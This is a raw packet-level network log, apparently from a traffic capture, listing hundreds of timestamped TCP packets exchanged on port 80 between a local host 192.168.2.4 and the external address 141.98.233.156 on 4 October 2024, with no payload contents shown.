Oct 4, 2024 09:52:27.674051046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674061060 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674082994 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674093962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674124002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674134016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674165964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674177885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674215078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674222946 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674263954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674333096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674365044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674381018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674396992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674407005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674428940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674439907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674460888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674472094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674504995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674540043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674588919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674591064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674622059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674632072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674654007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674666882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674685955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674695015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674716949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674730062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674750090 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674758911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674781084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674793959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674813032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674820900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674846888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674856901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674896002 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.674942970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674976110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.674990892 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675014019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675019979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675046921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675059080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675088882 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675199986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675231934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675263882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675278902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675296068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675318003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675328016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675359964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675365925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675446033 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675477982 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675496101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675509930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675519943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675542116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675554991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675574064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675582886 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675607920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675616980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675653934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.675673962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.675717115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676127911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676173925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676189899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676232100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676239967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676271915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676284075 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676312923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676318884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676353931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676364899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676386118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.676393032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.676426888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.721261024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721276045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721292019 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721306086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721321106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721335888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721350908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.721355915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.721355915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.721445084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.721445084 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759313107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759341955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759376049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759413004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759413004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759481907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759506941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759538889 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759560108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759583950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759588003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759619951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759634018 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759653091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759673119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759684086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759701014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759716034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759737015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759759903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759763956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759797096 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759812117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759828091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759840965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759860039 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759882927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759891987 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759905100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759923935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.759943962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.759965897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760287046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760338068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760339022 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760370016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760386944 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760409117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760477066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760508060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760528088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760539055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760552883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760571003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760585070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760603905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760622025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760633945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760656118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760665894 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760680914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760696888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760713100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760734081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760744095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760782003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760783911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760814905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760832071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760844946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.760865927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760901928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.760978937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761009932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761032104 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761042118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761061907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761074066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761090040 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761106014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761116982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761137962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761156082 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761169910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761178970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761219025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761337996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761368990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761385918 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761400938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761415005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761431932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761460066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761462927 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761493921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761495113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761516094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761532068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761549950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761564016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761571884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761605024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761609077 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761636972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761657953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761759996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761760950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761791945 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761823893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761826038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761850119 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761854887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761871099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761888027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761904001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761919975 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761945963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761959076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.761972904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.761991024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762006998 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762022018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762039900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762053013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762072086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762094021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762115002 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762145996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762161970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762183905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762274027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762300968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762325048 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762343884 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762348890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762382030 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762398005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762412071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762433052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762443066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762454987 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762475014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762491941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762506962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762523890 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762537956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762545109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762594938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762691021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762721062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762738943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762753010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762762070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762784958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762804031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762820005 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762830973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762851000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762866020 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762898922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762904882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762936115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762954950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.762965918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.762976885 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763019085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763071060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763102055 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763118982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763134003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763139963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763164997 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763180017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763195992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763214111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763236046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763325930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763356924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763379097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763406992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763418913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763438940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763459921 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763472080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763485909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763504028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763514042 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763536930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763556957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763577938 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763627052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763658047 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763679981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763689041 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763699055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763720989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763736963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763765097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763767004 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763798952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763816118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763830900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763839006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763856888 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763880014 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763907909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763928890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763959885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.763978958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.763998032 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764008045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764039040 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764059067 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764070988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764094114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764102936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764113903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764134884 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764152050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764185905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764759064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764820099 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764822006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764853954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764928102 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.764930964 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764931917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.764976025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.765043020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.765091896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.765096903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.765124083 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.765141010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.765155077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.765162945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.765209913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.810127974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810143948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810157061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810172081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810185909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810199022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810205936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.810215950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:27.810244083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:27.810275078 CEST	49745	80	192.168.2.4	141.98.233.156
